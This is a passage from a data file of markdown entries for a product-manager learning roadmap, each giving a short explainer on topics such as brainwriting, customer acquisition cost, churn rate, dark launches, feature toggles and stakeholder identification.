    "content": "# Brainwriting in Product Management\n\nBrainwriting is a critical tool in the arsenal of modern Product Managers. It refers to a structured brainstorming technique where team members independently write down their ideas, then pass them on to others for the development and enhancement. In the realm of product management, this can help stimulate creative problem-solving and innovation, paving the way for new features, strategies, and improvements. It's a game-changer as it values the voices of all team members, reduces group pressure, and mitigates the problem of idea domination often present in traditional brainstorming sessions."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/building-and-leading-teams@MP-jZtofXCufnvtSldxqU.md",
    "content": "# Building and Leading Teams\n\nAs a Product Manager, building and leading teams are crucial aspects of one's role. This involves assembling a competent and diverse team and establishing a shared vision and goals. Once the team has been formed, it’s up to the Product Manager to guide, motivate, and manage the team to drive the grand vision into reality. They need to exhibit strong leadership qualities, foster a healthy and collaborative work environment, recognize individual contributions and ensure that every member feels valued for their work. This involves not just managing but also mentoring and empowering the team to take ownership and deliver their best work. This process of team building and leadership directly influences the successful execution of a product's lifecycle."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/business@LPiCtvd00hWsCAefTIUxy.md",
    "content": "# Business\n\nAs a Product Manager, having a comprehensive understanding of the business is essential. Business knowledge can help the Product Manager to make better decisions regarding the product direction, market needs, and resource allocation. It encompasses having a clear understanding of the company's business model, financials, competitive environment, and corporate strategy. Furthermore, a business-oriented Product Manager can effectively balance the conflicting needs of the customers, the business, and the product, driving maximum value. This topic, `Business for Product Managers`, emphasizes the importance of business acumen for Product Managers."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/cac-customer-acquisition-cost@kVd36zDyjLvVG2Nw9gsXi.md",
    "content": "# CAC (Customer Acquisition Cost)\n\nCustomer Acquisition Cost (CAC) is a fundamental concept in business and specifically, a significant metric for Product Managers to monitor and optimize. Essentially, CAC is the total cost incurred to acquire a new customer, including all the product, research, marketing, and other associated costs. It provides valuable insight about the efficiency and effectiveness of a company's customer acquisition strategies. In the realm of a Product Manager, understanding and managing CAC is key to ensure that the product's value proposition is being communicated effectively, while also staying profitable and scalable. Hence, a detailed understanding and continuous tracking of CAC is an integral part of effective product management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/capabilities@8srsCEv55zh1y4gsp-rCO.md",
    "content": "# Capabilities under Vision & Mission\n\nThe role of a Product Manager is multifaceted and one important aspect of that role revolves around setting and understanding the vision and mission. A vision is a long-term goal or aspiration for a product and encompasses the overall direction or strategy for the product. Conversely, a mission statement focuses more on the present, describing the purpose of the product and who it serves. These aspects help drive the decision-making process in product management. Product Managers utilize these tools to align the product team and the company as a whole. They make strategic decisions and formulate plans based on the foundation set by the vision and mission. By leveraging these capabilities, Product Managers are able to make informed decisions that propel the product towards success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/case-studies@JhhjMPTNb646aQKlS_cji.md",
    "content": "# Case Studies\n\nCase studies play a pivotal role in exhibiting the efficiency of a product and its potential value in the lives of customers. For Product Managers, understanding case studies in positioning is invaluable. It allows them to comprehend how a product fits into a market, how it behaves in relation to competitors, and how it meets customer needs. These case studies provide insights into the real-world application and results of strategic positioning, enabling Product Managers to devise more effective strategies that attract target customers and build lasting brand value."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/churn-rate@jRWVaNpTfBXVjpi4WNT7H.md",
    "content": "# Churn Rate in Key Product Metrics\n\nChurn Rate is a pivotal term in the world of Product Manager. While understanding key product metrics, the term churn plays a significant role. It is the measurement of the percentage of customers or users who leave a product over a given period of time, divided by remaining customers. For example, if you start your month with 100 users and end with 90, your churn rate is 10%. Keeping a low churn rate can signify that customer satisfaction is high, sustaining customer loyalty and fostering conditions for growth. As a Product Manager, understanding, measuring and acting to reduce churn rate is critical to product strategy and overall business sustainability."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/cohort-analysis@APdoU9kzHEqpUgKGKfyp9.md",
    "content": "# Cohort Analysis\n\nCohort Analysis is a valuable tool in a Product manager's data-driven decision-making toolkit. This specific kind of analysis divides a product's user base into related groups. It's not strictly about the demographics, but rather the shared characteristics within a specific timeframe. These groups, or cohorts, could be determined by the users' behaviors, experiences, or traits. Understanding these cohorts and their behaviors proves to be crucial in identifying trends, predicting user actions, and innovating ways to improve overall user experience and product utility."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/communicating-the-roadmap@NjLt_B_kV7FdnkOomqayx.md",
    "content": "# Communicating the Roadmap\n\nAn essential role of a Product Manager involves communicating the product roadmap. This strategic document delineates the vision, direction, priorities, and progress of a product over time. It is paramount that this roadmap is communicated effectively to various stakeholders including team members, leadership, clients, and investors. This not only sets appropriate expectations but also ensures that everyone associated with the product is on the same page. The successful alignment increases the chance of product success and reduces the scope of misunderstandings and delays. For a Product Manager, mastering this communication is key to leading a product effectively."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/communication-skills@5-4MXlRjH-4PlF2giZpVL.md",
    "content": "# Communication Skills\n\nCommunication Skills are crucial for a product manager as they act as the bridge between different stakeholders such as development, design, marketing, and executives. Effective communication enables a product manager to share their visions, align the team towards common goals, and articulate stakeholder needs clearly. These skills help to prevent misunderstandings and conflicts, ensuring the successful implementation of product strategies. Without efficient communication skills, a product manager will struggle to convey their ideas, which can ultimately lead to ineffective strategies and unsuccessful products."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/communication-techniques@XGnJUxZu7_WnPkklvROon.md",
    "content": "# Communication Techniques\n\nProduct management is not just about understanding and planning products or services. As a Product Manager, mastering effective communication techniques is key to your success. This involves not only sharing your own ideas, but also actively listening, facilitating discussion, confronting issues, and influencing stakeholders. Mastering these skills helps to rally your team around a shared vision, keep stakeholders informed, and ensure that everyone is working toward the same objectives. This includes communication with diverse audiences such as development teams, designers, sales, marketing and alike. With effective communication techniques, a Product Manager can streamline collaboration, speed up decision-making, and avoid misunderstandings."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/communication-tools@IAta7OX7pAxUzkFdHibY9.md",
    "content": "# Communication Tools\n\nAs a Product Manager, communication is a vital tool to effectively manage and execute projects. Product Managers usually deal with complex challenges, multiple stakeholder groups, and shifting priorities, thus the effective use of communication tools is crucial. Communication tools, such as emails, meetings, messaging apps, video conferencing tools, project management apps, and more, are used to ensure everyone on the team remains aligned on key objectives, deadlines, and deliverables. By leveraging these tools, a Product Manager can provide clear instructions, set expectations, collect feedback, and ensure transparency and collaboration among team members."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/competetive-advantage@tTUp4GQHvjLZYkySasQFE.md",
    "content": "# Competitive Advantage\n\nCompetitive advantage stands at the core of a product manager's role and responsibilities. A competitive advantage ensures that a product or service has unique attributes that set it apart from rival offerings, providing a strategic advantage in the market. A product manager must understand and leverage this unique value proposition to attract, retain, and potentially expand the customer base. Thus, competitive advantage is essential for creating strategies, defining the roadmap, making crucial product decisions, and driving growth."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/competitive-analysis@PBDlYIyS8LAyPE6tV-kU7.md",
    "content": "# Competitive Analysis\n\nUnderstanding the competitive landscape is a critical aspect of a Product Manager's role. Competitive analysis involves identifying your competitors and evaluating their strategies to determine their strengths and weaknesses relative to your own product or service. A product manager uses competitive analysis to understand market trends, discover opportunities for growth, and determine competitive advantages. It is an essential factor in positioning, marketing, and strategic decision-making. This process of understanding often involves collecting and reviewing information about competitor products, including their features, functionality, pricing structures, and success within target markets."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/competitive-strategy@qy_IXzenBOEVBMvVlXPaY.md",
    "content": "# Competitive Strategy in Product Management\n\nProduct Managers play a crucial role in defining and implementing the competitive strategy of a product. This strategy is typically a long-term action plan for a company that identifies how to achieve a competitive advantage while meeting the needs of its customers. Product managers, with their deep understanding of the market, identify opportunities, understand competitors, and align the product to meet business goals and customers' needs. Strong strategic thinking aids in making informed decisions towards competitive positioning of the product, considering factors such as pricing, features, and marketing strategies."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/conflict-resolution@sQvkXvluZHgTIGS7W3Fj4.md",
    "content": "# Conflict Resolution\n\nAs a critical element in the Product Manager's skillset, conflict resolution revolves around mediating disagreements and facilitating solutions that benefit all parties involved. Product Managers often need to balance varying views, conflicting priorities, and different personality types within cross-functional teams. As such, the ability to navigate and resolve conflicts effectively becomes essential for the progress of the product and the harmony of the work environment. Key elements of conflict resolution for Product Managers may include active listening, effective communication, problem-solving strategies and negotiation techniques."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/contingency-planning@ybq-zRDLvtTTl8X8GnRNf.md",
    "content": "# Contingency Planning in Risk Mitigation\n\nContingency planning constitutes an integral part of risk mitigation strategies for any Product Manager. It involves identifying potential risks and developing plans to prevent, respond to, or minimize the impact of those risks on the product development process. For a Product Manager, contingency planning entails envisioning various scenarios that could lead to setbacks in the delivery of the product and devising alternate plans. This acts as a safeguard to ensure smooth operations and delivery of the product on time, catering to user expectations. It provides a roadmap to manage unforeseen problems and reduces potential losses by maintaining the consistency and quality of the product."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/continuous-roadmapping@qGvHqOSTPyVKll4mMVk7i.md",
    "content": "# Continuous Roadmapping\n\nIn the dynamic world of product development, a Product Manager needs to utilize effective strategies to navigate the fluctuating market needs and demands. Continuous Roadmapping is an essential tool that allows for flexible and adaptable planning in line with these changes. Under this methodology, product managers continually adapt and update the product roadmap as new information, data, and feedback become available. This enables them to respond proactively to shifts in business goals, customer needs, and the market landscape, ensuring that the product remains relevant and competitive, while aligning its development with the brand's strategic objectives."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/conversion-rate@avkgeNNVQOCE7dvEKFVZv.md",
    "content": "# Conversion Rate: A Key Product Metric\n\nThe Conversion Rate is a crucial product metric for any Product Manager. It is the percentage of users who complete a desired action on a product or service, such as making a purchase, signing up for a trial, or subscribing to a newsletter. Monitoring conversion rates allows Product Managers to understand how effectively their product is meeting target audience needs, achieving business goals, and driving desired customer behaviors. It helps in identifying areas of improvement, opportunities for growth, and impact of changes on user interactions."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/creating-a-roadmap@eiqV86PWizZPWsyqoBU5k.md",
    "content": "# Creating a Roadmap\n\nA product manager plays an essential role in setting a strategic direction for the products they are tasked with guiding. An integral part of this role is creating a product roadmap. This key document outlines the vision, direction, and progress of the product over time. It is a detailed plan that explains how the product is likely to grow, the strategy behind it, and the steps necessary to achieve its development goals. It is imperative for a product manager to create and maintain a product roadmap, as it provides a clear path for everyone involved and sets realistic expectations regarding the product's evolution. The roadmap keeps the product manager, the development team, stakeholders, and customers on the same page, allowing for seamless collaboration and effective decision-making."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/daily-standups@BzgGJbXIwQb0yR2ZMCmul.md",
    "content": "# Daily Standups\n\nDaily standups, also known as daily scrum meetings, are a crucial part of a Product Manager's role in an Agile framework. They function as short, highly focused meetings where each team member summarizes their work since the last standup, their plan until the next one, and any obstacles encountered. For a Product Manager, participating and sometimes facilitating these meetings not only offers a clear view of the project's progress, but also helps in identifying and eliminating potential impediments for the team."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/dark-launches@aCoVHIAZllwKckkkwExR7.md",
    "content": "# Dark Launches\n\nDark Launches are a valuable strategy in product management. Essentially, they refer to the release of features to a subset of users before the official launch. These unannounced releases, invisible to the majority of users, provide product managers crucial data about how the feature functions in a live environment. They enable product managers to observe real user interactions, gather feedback, identify bugs and areas of improvement prior to a broad scale rollout. This greatly reduces the risk of encountering major issues post-launch and helps ensure a smoother user experience, making dark launches a critical weapon in a product manager's arsenal."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/data-driven-decision-making@eO7glnL0HixQYnoF3uvSW.md",
    "content": "# Data-Driven Decision Making\n\nAs a product manager, having a good grip on data-driven decision making is a pivotal skill to have. It is a process where decisions are made based on actual data rather than intuitions or observations. This process helps product managers evaluate where the product stands in terms of its effectiveness, performance, and reception in the market. Decisions are then made about the product's future based on this analysis - whether it needs improvements, new features, or a different marketing approach. By focusing on data-driven decision making, product managers can make choices that are more likely to bring in positive results and reduce risks associated with intuition-based decision making."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/dau-daily-active-users@g2EgVtqwQxLfjBjomUqcU.md",
    "content": "# DAU (Daily Active Users) in Product Management\n\nFor a Product Manager, understanding the significance of DAU or Daily Active Users is crucial. DAU is a key product metric used in the tech industry to measure the success of a product. It refers to the number of unique individuals who interact with a product or service on a daily basis. This insight helps product managers understand how compelling and sticky a product is and provides valuable data for making strategic product decisions. Monitoring and analyzing DAU trends can assist in identifying potential issues, measuring user engagement, or capturing growth opportunities."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/decline@yOve7g_05UMpXHcGpdZcW.md",
    "content": "# Decline\n\nThe decline phase of the product development lifecycle comes after the development, introduction, growth, and maturity stages, characterized by decreasing sales and market relevance. For product managers, this phase involves making strategic decisions regarding the product's future, such as discontinuation, repositioning, or reinvention. The focus shifts to cost reduction, managing inventory, and maximizing any remaining value from the product. Effective management during the decline phase is essential for mitigating losses, reallocating resources to more promising products, and planning for a smooth exit or transition, ensuring minimal disruption to the overall product portfolio."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/defining-goals@n2AYdM2dlJfuZ97jXY49U.md",
    "content": "# Defining Goals\n\nAs a Product Manager, defining goals is a critical aspect of your role. Having clear, well-defined goals crafting the strategic roadmap for your product. This involves identifying the desired outcomes or changes that need to be achieved within a specified timeline. These encompass various facets including market share, revenue, user experience and product functionality among others. Setting these goals requires a combination of data-driven insights, understanding of market trends and user feedback. Ultimately, these goals will serve as the guiding points for the development teams and stakeholders, streamlining efforts towards the shared vision. Your ability to articulate these goals effectively, will directly influence the success of the product."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/defining-value-proposition@1j2ZSo7UGnBgoLpYzsA5t.md",
    "content": "# Defining Value Proposition\n\nThe Value Proposition serves as the foundation for a product manager's strategy, directly influencing the design, development, and marketing decisions of a product. By defining the unique value your product brings to the market, you communicate its benefits, solve customers' problems, and outdo competitors. A well-articulated value proposition is crucial as it affects every aspect of your product—from conception to final sale. For a product manager, understanding and continually refining the value proposition can guide decision making, target key demographics more effectively, and increase overall user satisfaction."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/design-thinking@yPtxGBDEJkFBhF8ZgQUVH.md",
    "content": "# Design Thinking in UX / UI Design\n\nAs a Product Manager, understanding and utilizing Design Thinking in the context of UX / UI is a crucial aspect of the job. This innovative, solution-based approach to problem-solving allows Product Managers to create user-centered product designs that meet both user needs and business goals flawlessly. By incorporating Design Thinking, Product Managers can better empathize with the user, define the problem effectively, ideate creative solutions, prototype, and test the results, all contributing towards delivering a superior product. It's a process that emphasizes collaboration, user feedback, and iteration, thereby ensuring the product is continually refined and improved upon."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/development@5okUFVMuG6mjRki4fyCcF.md",
    "content": "# Development \n\nThe development phase of the product development lifecycle is a critical stage where ideas transform into tangible products. For product managers, this phase involves coordinating with cross-functional teams, including engineering, design, and quality assurance, to ensure that the product meets its specifications and market requirements. This phase focuses on building, testing, and refining the product, incorporating feedback from iterative testing and addressing any technical challenges that arise. Effective management during this stage is essential for aligning the product with its strategic goals and preparing it for a successful launch.\n\nLearn more from the following resources:\n\n- [@video@What's Product Development?](https://www.youtube.com/watch?v=jLvMGnAYicY)\n- [@article@What is Product Development?](https://www.aha.io/roadmapping/guide/what-is-product-development)"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/difficult-conversations@iWCcvEEllfACoaXm5Ul5D.md",
    "content": "# Difficult Conversations\n\nIn the world of product management, navigating difficult conversations is an unavoidable part of the job. Product Managers often find themselves in challenging discussions with stakeholder, developers, sales teams, and even customers. These conversations can revolve around product expectations, timelines, resource allocation, and a multitude of other issues. Effectively handling these difficult talks while maintaining strong relationships is vital for a successful product journey. That's why, mastering the art of managing and resolving these talks in an efficient, respectful, and productive manner is an essential skill for every Product Manager."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/discord@e6gO1twjter9xWm14g9S9.md",
    "content": "# Discord\n\nDiscord is a widely used communication tool that is beginning to make its mark in the field of product management. It offers a secure and user-friendly platform with features that are quintessential for a Product Manager. With its rich text chats, voice channels, and ability to create multiple channels with different access levels, it ensures seamless communication within cross-functional teams. For Product Managers, Discord can be an essential collaboration tool that aids in the exchange of innovative ideas, constructive feedback, and bug reporting, thereby allowing them to design, plan, and execute with efficiency."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/discovery@vP4tfzP-hOiAsv4K4RsQy.md",
    "content": "# Discovery\n\nThe discovery phase is a crucial stage in a Product Manager's role. It involves exploring, researching, understanding customer needs, and identifying market opportunities to develop a product that aligns with business goals while providing value to users. During this phase, Product Managers gather and analyze data from customers, competitors, and the market to clearly define the problem to be solved. Visual forms like customer journey maps, personas, or prototypes are often used to effectively communicate the findings. The insights gained during the discovery phase set the foundation for the decisions made in the subsequent product development phases.\n\nVisit the following resources to learn more:\n\n- [@video@Introduction to Modern Product Discovery by Teresa Torres](https://youtu.be/l7-5x0ra2tc?si=Zh4LeSF_qAj8y6-a)\n"
  },
  {
    "path": "src/data/roadmaps/product-manager/content/emerging-market-trends@aDhSpLRZ6Sd8SnkcwtyLf.md",
    "content": "# Emerging Market Trends\n\nUnderstanding emerging market trends is a critical aspect of a Product Manager's role. Market analysis involves closely observing changes, patterns, and shifts in the marketplace to not only anticipate customer needs and preferences but also efficiently strategize the product's design, development, and positioning accordingly. Keeping track of emerging market trends provides a competitive edge, aids in identifying opportunities for innovation, and enables better decision-making to ensure product success and sustainability in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/emotional-intelligence@gyNOziqf1VsfI2j-FaNZ_.md",
    "content": "# Emotional Intelligence in Product Management Leadership \n\nEmotional Intelligence (EI) is vital in every aspect of leadership, and in the realm of product management, it is no less significant. A Product Manager with high emotional intelligence can navigate complex work relationships, make better decisions, maintain morale in their team, and efficiently drive a product from conception to completion. In essence, emotional intelligence shapes a successful Product Manager and contributes to the effectiveness of their leadership. With the ability to identify and handle not only their own emotions, but also those of their team members, Product Managers can create a productive, creative, and resilient working environment."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/ethnographic-research@VwI7plziVzwkp3KZd4466.md",
    "content": "# Ethnographic Research\n\nEthnographic research, stemming from anthropology, is a significant methodology often adopted by product managers to gain a profound understanding of user behaviours, routines, cultures, and motivations in their natural surroundings. It is essential as it offers contextual and holistic insights on user behaviour that other methods, like surveys or interviews, may not provide. For a product manager, this research helps compose a more empathetic and comprehensive user point-of-view, thus successfully driving product decisions that meet users' needs more effectively. This may involve observing users interact with the product in their everyday life, carrying out contextual inquiry, or even studying competitors to understand the factors that drive users towards specific actions. Understanding the subtleties of user behaviour through ethnographic research can truly create the difference between a good product and a great one."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/execution@LhNgyNDeqCAD--dAzf6u8.md",
    "content": "# Execution \n\nExecution in the context of a Product Manager refers to the practical implementation of strategic plans. A Product Manager not only has to devise innovative solutions and streamline their visions but also successfully execute those plans. This involves managing resources, mitigating risks, working in collaboration with different teams, and ensuring the product development aligns with the customers’ needs and the company’s objectives. Sound execution skills are vital for a Product Manager as they directly impact the success or failure of a product in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/feature-creep@GbFbURxIRD76kyR9vKfdg.md",
    "content": "# Feature Creep\n\nFeature creep, also known as requirements creep or scope creep, is a term commonly used by product managers. It refers to the continuous expansion or accumulation of features in a product, that goes beyond its original scope and requirements. This can lead to project bloat and veer off the product from its intended course and business objectives. Despite the temptation to add more features to satisfy varied user requirements, a good product manager should keep a balance and manage feature creep effectively. The aim is not only to deliver a product that meets the users' needs, but also stays on schedule, within budget and aligned with the product vision."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/feature-toggles@7BCnM9A9PwYqsLmcNVfvt.md",
    "content": "# Feature Toggles\n\nFeature toggles, also known as feature flags, are a powerful technique giving product managers an advanced control over the features of the product which are visible to specific users. It allows teams to modify a software system's behavior without necessarily changing the code. Feature toggles provide the flexibility of enabling or disabling certain parts of the application, facilitating testing, continuous deployment and facilitating roll-out or roll-back of features. As a product manager, understanding the use of feature toggles is crucial in efficiently managing the release process and reducing risks associated with deploying new features."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/feedback-loops@kirIe5QsxruRUbWGfQtbD.md",
    "content": "# Feedback Loops in Product Management\n\nFeedback loops play a vital role in product management. As a product manager, instituting a feedback loop in your workflow is essential in enhancing product quality, user satisfaction, and team performance. This iterative, systematic process involves various stakeholders, including customers, team members, to deliver their insights about the product or service. These insights are critical as they can significantly influence decision-making, product strategy, and future development. Understanding and implementing feedback loops lead to continuous improvement and guide a product manager in successfully driving the product towards its ultimate vision."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/finding-balance@xu8A_QKs6lXzKPMiifNF_.md",
    "content": "# Finding Balance under Value vs Features\n\nAs a Product Manager, one vital skill required of you is understanding the balance between value and features. This revolves around prioritizing what features to implement based on the value they provide to the customer or user. It is about striking a balance; not all features will provide the same level of value, and understanding this is key to efficient resource allocation. You must maintain a focus on delivering value while also ensuring the product's features remain compelling and relevant to the target audience."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/five-forces-analysis@8CW_clQsc6SC4piQ3__0I.md",
    "content": "# Five Forces Analysis for a Product Manager\n\nFive Forces Analysis, developed by Michael E. Porter, is a critical tool that a Product Manager can utilize to understand the competitive forces within the industry and help inform product development strategy. This analysis includes five different forces: potential new entrants, substitute products or services, bargaining power of buyers, bargaining power of suppliers and competitive rivalry. By thoroughly examining these areas, a Product Manager can uncover opportunities, mitigate challenges, and position the product to achieve sustainable profitability. It also supports crucial decisions around pricing, marketing, and development prioritization. Thus, mastering Five Forces Analysis is fundamental for successful product management."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/future-constraints@wuqZntn1ivkr9AV_09zYX.md",
    "content": "# Future Constraints under Vision & Mission\n\nAs a product manager, one has to deal with various constraints while building a product strategy which aligns with the company's vision and mission. Future Constraints under Vision & Mission dives into these upcoming limitations or challenges that may impede the pursuit of the organization’s goals. These could range from technical or resource limitations, to market changes, regulatory environments and competitive forces. To successfully design and deliver products, understanding these future constraints is vital for a Product Manager. This allows them to proactively plan and devise effective strategies to tackle potential issues, ensuring the product direction remains aligned with the organization's vision and mission."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/go-to-market-strategy@53XS2zKdK6IDdOP07yiT7.md",
    "content": "# Go-to-Market Strategy\n\nA Go-to-Market (GTM) strategy is an action plan that specifies how a product manager will reach target customers and achieve a competitive advantage. It serves as a blueprint that guides companies in introducing their products to the market. For a product manager, the GTM strategy is not just about product launch, it includes understanding the market dynamics, customer needs, creating marketing and sales strategies, and post-launch activities like customer service. An effective GTM strategy can help product managers ensure a successful product launch and strong market presence."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/grooming-sessions@sqxgqfxWMluhWtCWN8spG.md",
    "content": "# Grooming Sessions\n\nIn the realm of product management, grooming sessions are a crucial part of the Agile product development process. Also known as backlog refinement or story-time sessions, they help product managers, along with the development team, prioritise and refine the product backlog to ensure smooth execution of product delivery. During grooming sessions, product manager clarifies doubts about product backlog items, re-orders them based on business or technical priority and often breaks down large user stories into smaller, manageable tasks. They are integral in maintaining a well-organised, clear and up-to-date product roadmap."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/growth-hacking@wWWcIfPDGB92ed-1kV-uj.md",
    "content": "# Growth Hacking\n\nGrowth hacking is a pivotal concept that product managers must be familiar with in order to effectively strategize and achieve business growth. As a concept, growth hacking leverages data-driven and unconventional marketing strategies to help boost product growth. For a product manager role, understanding growth hacking means utilizing the principles to conceive effective marketing strategies that accelerate the product's market performance and user base. Market understanding, creativity, analytical thinking, and data insights are key elements of growth hacking a product manager needs to grasp."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/growth-strategies@4-w4BpDh4dpmnU9qfjqbU.md",
    "content": "# Growth Strategies\n\nFor a Product Manager, successful growth strategies are key to the scalability and survival of a product in the long run. They are charged with defining the direction and vision of the product, which includes implementing robust growth strategies. These strategies could range from market penetration, market development, product development to diversification. These strategic decisions directly affect the product's market share, competitiveness, and profitability. A well-versed Product Manager should understand these strategies and how to effectively deploy them based on the product's lifecycle, customer insights, competitive analysis, and market conditions. It is critical for the product manager to be in sync with cross-functional teams including Sales, Marketing, Engineering, Design to implement these growth initiatives effectively and move the product in the intended direction."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/growth@ke5vl9p3ouupjVmgU5IKw.md",
    "content": "# Growth\n\nThe growth phase of the product development lifecycle follows the development and introduction stages, characterized by a significant increase in market acceptance and sales. For product managers, this phase involves scaling operations, optimizing marketing strategies, and enhancing the product based on customer feedback. The focus shifts to expanding market share, improving product features, and exploring new distribution channels. Effective management during the growth phase is essential for sustaining momentum, addressing competitive pressures, and maximizing profitability, ultimately securing the product's position in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/heap@xas-t2sAKmJNfb0-Zcpwy.md",
    "content": "# Heap Analytics\n\nHeap Analytics is a robust solution for product managers looking to gain actionable insights into their product's usage and performance. It's a powerful analytics tool that allows the automatic capturing of every user interaction across the entire customer journey. From clicks and taps to form submissions and transactions, Heap captures all data without needing any pre-defined tracking set-up. As a Product Manager, understanding the value that Heap brings in effortlessly tracking user engagement and offering data-driven insights is integral for refining product decisions and driving the overall product strategy."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/identify-partners@1M6WpW1wbJcXMb3nf10U2.md",
    "content": "# Identify Partners\n\nIdentifying partners is a critical element in the role of a Product Manager. This refers to the process of discovering and aligning with other individuals, teams, or organizations that can assist in boosting the product's value proposition. This is achieved either by improving its features, outreach, access to resources, or customer adaptations. A strategic alliance can streamline the process of product development and provide access to niche markets and specialized technologies. Solid partnerships can amplify the potential of the product, save resources and time, and provide a competitive advantage in a saturated market landscape."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/identifying-market-needs@LkDLk6DsEvbFXZPGOhD0C.md",
    "content": "# Identifying Market Needs under Market Analysis\n\nIdentifying market needs is a fundamental task for a Product Manager during the process of market analysis. A market need is what motivates a consumer to buy a product or service. The market analysis mandates the Product Manager to study the market, understand the customers' behavior patterns and preferences, and keep an eye on current market trends. This data-driven outlook helps the Product Manager decipher the gaps in the market, what pain-points the potential customers have that are unresolved, and hence, find opportunities to create new products or enhance existing ones. Glazing through customer feedback, surveys, and competitor analysis are some of the methods that help identify these needs and provide the launchpad for successful product planning and development."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/identifying-risks@oO-ujKApmpoQdkPEkOQG7.md",
    "content": "# Identifying Risks\n\nRisk identification is a critical component in the role of a Product Manager. It involves determining potential threats that could negatively affect the success of a product. These risks could exist in various circumstances, including development, marketing, sales, or even post-launch. \n\nA Product Manager must be vigilant in recognizing these potential hazards as early as possible in the product lifecycle. This not only involves identifying the risks, but also analyzing and prioritizing them for further action. By doing so, the Product Manager aids in creating risk mitigation strategies, contributing to the overall product strategy and ensuring the success of the product in the market."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/identifying-stakeholders@Cryuk9pCI3y78HDGv6TMK.md",
    "content": "# Identifying Stakeholders\n\nAs a Product Manager, it's crucial to identify key stakeholders who have a direct or indirect influence on the product's success. These stakeholders can include anyone from customers, team members, organizational leadership, to external business partners. Identifying stakeholders at an early stage can assist in getting their support, understanding their expectations, and mitigating any potential risks they may pose to the product life cycle. It's not only understanding who your stakeholders are, but also their interests, power dynamics, and their potential influence on the product’s success. This process is an essential foundation for effective stakeholder management and ensures alignment across the organization in terms of product vision and objectives."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/influencing-without-authority@CMge123Tm9DrZ31LvipLD.md",
    "content": "# Influencing without Authority\n\nAs a Product Manager, the ability to influence without authority is a critical skill set. This is often because Product Managers do not necessarily have direct authority over the team yet are expected to guide product strategies and make vital decisions. Influencing without authority involves convincing others to follow your ideas or approach, and can often include multidirectional influence, not just downward but upward and sideways too. A Product Manager navigates between different stakeholders like cross-functional partnerships, sales, marketing, engineering, design, etc., with varying levels of authority. Mastering the art of Influencing without Authority allows Product Managers to motivate and sway these differing parties to work collectively towards a shared vision or goal, thereby driving the product's success."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/interaction-design@S_-9msr3vGZgOQ36zErnf.md",
    "content": "# Interaction Design\n\nInteraction Design is a key discipline within the field of Product Management. It focuses on the design and creation of digital interfaces and systems with which human users interact. As a product manager, mastery in interaction design is critical because the ease-of-use, intuitiveness, and satisfaction of a user's interaction with a product largely determine its success or failure. An Interaction-design-savvy product manager will strive to make sure the product offers a seamless user experience, ensuring it is aesthetically pleasing, easy to navigate, and delivers the desired functionality efficiently."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/internationalization@lIdogd1DAzCo1ct7cdvYD.md",
    "content": "# Internationalization In Product Management\n\nInternationalization in product management refers to designing a product in a way that can easily be adapted for various international markets without requiring significant changes. This includes not just language translation, but also dealing with cultural differences, local regulations, and multiple time zones. A Product Manager must consider internationalization to ensure its product appeals to different geographical locations thereby facilitating a wider user base, increased market share, and, potentially, profitability."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/interpersonal@O5Ipa7PHeXUNEjQ6Mla7Y.md",
    "content": "# Interpersonal Skills for a Product Manager\n\nInterpersonal skills are a quintessential requirement for a Product Manager. They involve the ability to effectively communicate, facilitate, empathize, and interact with different stakeholders. As a Product Manager, one has to frequently collaborate with diverse teams such as design, marketing, sales, and development. Hence, having robust interpersonal skills are critical for maintaining healthy relationships, overcoming hurdles, and driving successful product outcomes. They aid the Product Manager in gaining buy-in for strategic decisions, resolving conflicts, and leading the team towards a common vision."
  },
  {
    "path": "src/data/roadmaps/product-manager/content/introduction@9vy4uIoykk2zSSyIok4_S.md",
